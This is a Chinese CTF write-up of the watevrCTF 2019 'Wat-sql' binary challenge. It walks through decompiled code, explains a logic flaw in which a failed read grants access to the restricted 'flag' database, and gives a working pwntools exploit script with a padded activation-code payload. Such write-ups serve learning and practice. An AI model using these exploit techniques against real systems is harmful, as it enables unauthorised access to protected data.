当前位置: 首页 > news >正文

NSSCTF [watevrCTF 2019]Wat-sql

90.[watevrCTF 2019]Wat-sql(逻辑漏洞)

[watevrCTF 2019]Wat-sql

(1)

1.准备
motaly@motaly-VMware-Virtual-Platform:~$ file sql
sql: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=69633004c9f0c7a83f48dd5d1bdad5b617795c81, stripped
motaly@motaly-VMware-Virtual-Platform:~$ checksec --file=sql
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols	  No	0		3		sql

开了Canary和NX保护

2.ida分析
main函数
void __fastcall main(int a1, char **a2, char **a3)
{s2 = (char *)malloc(0x20uLL);signal(14, (__sighandler_t)handler);alarm(0x28u);sub_40128B();if ( *((_DWORD *)s2 + 8) != 7955827 )exit(0);puts("Welcome to wat-sql!");puts("This project was made as an extention to the super successful project, sabataD!");puts("Valid queries are read, write. You are only allowed to access /home/ctf/database.txt!");sub_40115F();
}

看到这里开头有一个sub_40128B函数
只有满足sub_40128B函数中的限制条件后,才会继续运行程序
最后运行sub_40115F函数

sub_40128B函数
int sub_40128B()
{printf("%s", "Demo activation code: ");fflush(stdout);fgets(s2, 36, stdin);if ( !strcmp("watevr-sql2019-demo-code-admin", s2) && *((_DWORD *)s2 + 8) == 7955827 )return puts("Demo access granted!");elsereturn puts("Demo access not granted!");
}

这里先是一个读取,读取最大36个字符给s2
在下面是if判断
先比较s2是否与watevr-sql2019-demo-code-admin是否相同
在验证s2的第33-36位是否为7955827(0x796573)
(第33-36位的原因是:
这里把s2转换成DWORD*类型(4 字节指针),并偏移8个DWORD(即 32 字节),*((_DWORD *)s2 + 8)指向s2 + 8×4 = s2 + 32(第 33 字节))
知识点:
DWORD 是一个 typedef 类型,在不同的编程环境下,其具体定义可能有所不同,但一般而言:

  • 它表示 “双字”(Double Word)。
  • 长度为 32 位,也就是 4 字节,相当于unsigned int
  • 若代码中采用_DWORD这种写法,往往是自定义的类型别名,例子:
 typedef unsigned int _DWORD; // 32位无符号整数

DWORD* 是指向DWORD类型的指针,它具备以下特点:

  • 内存访问:借助该指针能够访问 4 字节的数据。
  • 指针运算:当指针进行加减操作时,步长为 4 字节。
  • 常见用途:多用于处理二进制数据、内存块或者 32 位数值数组。
sub_40115F函数
void sub_40115F()
{while ( 1 ){while ( 1 ){printf("%s", "Query: ");fflush(stdout);fgets(haystack, 20, stdin);if ( !strstr(haystack, "read") )break;if ( ++dword_602100 > 2 ){printf("You have exhausted the request limit for your wat-sql demo!");__asm { retn }}sub_400E30();}if ( strstr(haystack, "write") ){sub_400FB7();if ( ++dword_602100 > 2 ){printf("You have exhausted the request limit for your wat-sql demo!");__asm { retn }}}else{puts("Unrecognised command!");}}
}

这里进入循环,有一个读取输入点给haystack,选择read还是write,并会记录两者的总调用次数,超过两次会拒绝访问
先看选择read时,会调用sub_400E30函数
再看选择write时,会调用sub_400FB7函数

read
int sub_400E30()
{int result; // eaxprintf("%s", "database to read from: ");fflush(stdout);fgets(name, 100, stdin);strtok(name, "\n");if ( (strstr(name, "flag") || strchr(name, 42) || strchr(name, 63)) && !dword_6020FC ){result = puts("You are not allowed access to that database!");dword_6020FC = 0;}else{dword_6020FC = 1;if ( access(name, 0) == -1 ){return puts("Tried to open non-existing database");}else{printf("%s", "database to read: ");fflush(stdout);fgets(nptr, 7, stdin);dword_6022A0 = atoi(nptr) + 1;pthread_create(&th, 0LL, start_routine, 0LL);result = pthread_join(th, 0LL);dword_6020FC = 0;}}return result;
}

先读取一个输入给name,并移除换行符
在下面用if判断对读取的name进行判断
第一条:
检查name中是否有flag,是否有字符*(42 是*的 ASCII 码值),是否有字符?(63 是?的 ASCII 码值),三个条件中的任意一个满足,结果就为真
第二条:
检查权限状态,!dword_6020FC意味着当该变量的值为 0 时,结果就为真
这里会有三种情况:
1.无权限(dword_6020FC=0),无限制字符,会是这里

{return puts("Tried to open non-existing database");}

2.无权限(dword_6020FC=0),输入限制字符,会是这里

{result = puts("You are not allowed access to that database!");dword_6020FC = 0;}

3.只有有权限(dword_6020FC=1),再输入限制字符,才会到下面输入flag,得到flag数据库中的内容

else{printf("%s", "database to read: ");fflush(stdout);fgets(nptr, 7, stdin);dword_6022A0 = atoi(nptr) + 1;pthread_create(&th, 0LL, start_routine, 0LL);result = pthread_join(th, 0LL);dword_6020FC = 0;}

这个函数的这里是整个程序的关键

 else{dword_6020FC = 1;if ( access(name, 0) == -1 ){return puts("Tried to open non-existing database");}

是一个逻辑漏洞
当我们没有输入上面的限制字符,只是没有权限(也就是随便输入了一段字符串)时,就会到这里,他直接给了权限

dword_6020FC = 1;

此时我们再次选择read函数,并且输入flag,有了权限,会跳转到这里

else{printf("%s", "database to read: ");fflush(stdout);fgets(nptr, 7, stdin);dword_6022A0 = atoi(nptr) + 1;pthread_create(&th, 0LL, start_routine, 0LL);result = pthread_join(th, 0LL);dword_6020FC = 0;}

我们输入flag,就会读取flag值

write
int sub_400FB7()
{int result; // eaxprintf("%s", "database to write to: ");fflush(stdout);fgets(name, 100, stdin);strtok(name, "\n");if ( (strstr(name, "flag") || strchr(name, 42) || strchr(name, 63)) && !dword_6020FC ){result = puts("You are not allowed access to that database!");dword_6020FC = 0;}else{dword_6020FC = 1;if ( access(name, 0) == -1 ){return puts("Tried to open non-existing database");}else{printf("%s", "Database to write to: ");fflush(stdout);fgets(nptr, 8, stdin);printf("%s", "Data to write: ");fflush(stdout);fgets(s_0, 200, stdin);dword_6022A0 = atoi(nptr);return pthread_create(&newthread, 0LL, sub_400CE0, 0LL);}}return result;
}

这里跟read调用的函数差不多,只不过这里是写入,不是读取,所以这里没什么用

3.EXP
思路:

主要用选择read,调用的函数里存在的逻辑漏洞,来读取flag
1.先绕过选择之前的限制
2.选择read,随便输入一个name值,触发漏洞,获得权限
3.再次选择read,输入flag,进入最后的读取,输入flag,得到flag值
先输入watevr-sql2019-demo-code-admin和7955827(0x796573)绕过限制

payload=b'watevr-sql2019-demo-code-admin'+p64(0x796573)
io.sendlineafter(b'Demo activation code:',payload)

发现这里输入没绕过限制
 


我们地址的输入点是第33字节,这里提前了两位,所以加两位填充
接着按思路写入

payload=b'watevr-sql2019-demo-code-admin\x00\x00'+p64(0x796573)
io.sendlineafter(b'Demo activation code:',payload)io.sendlineafter(b'Query:',b'read')
io.sendline(b'aaaa')
io.sendlineafter(b'Query:',b'read')
io.sendlineafter(b'database to read from:',b'flag')
io.sendafter(b'database to read:',b'flag')
脚本
from pwn import *
context.log_level = "debug"
# io=remote('node5.anna.nssctf.cn',24724)
io= process('/home/motaly/sql')payload=b'watevr-sql2019-demo-code-admin\x00\x00'+p64(0x796573)
io.sendlineafter(b'Demo activation code:',payload)io.sendlineafter(b'Query:',b'read')
io.sendline(b'aaaa')
io.sendlineafter(b'Query:',b'read')
io.sendlineafter(b'database to read from:',b'flag')
io.sendafter(b'database to read:',b'flag')
io.interactive()

这题我本地没通,但远程是通的,连通后随便输入一个值,就能得到flag

相关文章:

  • MCP和 AI agent 有什么区别和联系
  • 【工具教程】图片识别内容改名,图片指定区域识别重命名,批量识别单据扫描件批量改名,基于WPF和腾讯OCR的实现方案
  • 【VLNs篇】03:VLMnav-端到端导航与视觉语言模型:将空间推理转化为问答
  • Linux:进程信号---信号的保存与处理
  • 基于moonshot模型的Dify大语言模型应用开发核心场景
  • 【论文阅读 | CVPR 2024 |RSDet:去除再选择:一种用于 RGB - 红外目标检测的由粗到精融合视角】
  • Elasticsearch简单集成java框架方式。
  • StepX-Edit:一个通用图像编辑框架——论文阅读笔记
  • 力扣热题100,力扣148.排序链表力扣.26找出字符串中第一个匹配项的下标力扣146.LRU缓存序列管理器
  • Redis应用--缓存
  • 【Unity 如何使用 Mixamo下载免费模型/动画资源】Mixamo 结合在 Unity 中的实现(Animtor动画系统,完整配置以及效果展示)
  • 八: 人工神经元/感知机 算法
  • 智能驾驶中的深度学习:基于卷积神经网络的车道线检测
  • 【深度学习】多目标融合算法(六):渐进式分层提取模型PLE(Progressive Layered Extraction)
  • 【UE5】环形菜单教程
  • CESM2.0 全流程解析:从环境搭建到多模块耦合模拟
  • ElasticSearch各种查询语法示例
  • 使用 Spring AI Alibaba 集成阿里云百炼大模型应用
  • Python爬虫(32)Python爬虫高阶:动态页面处理与Scrapy+Selenium+BeautifulSoup分布式架构深度解析实战
  • 华为云Flexus+DeepSeek征文|Flexus云服务器Dify-LLM资源部署极致体验Agent
  • 做服务型党员网站/广州:推动优化防控措施落
  • 做网站需不需要营业执照/唐山seo优化
  • 江苏建设教育协会网站/培训网页
  • 网站 百度地图/找个免费网站这么难吗
  • 桂林做网站的公司有哪些/个人网站网页首页
  • 内蒙古自治区精神文明建设网站/cms自助建站系统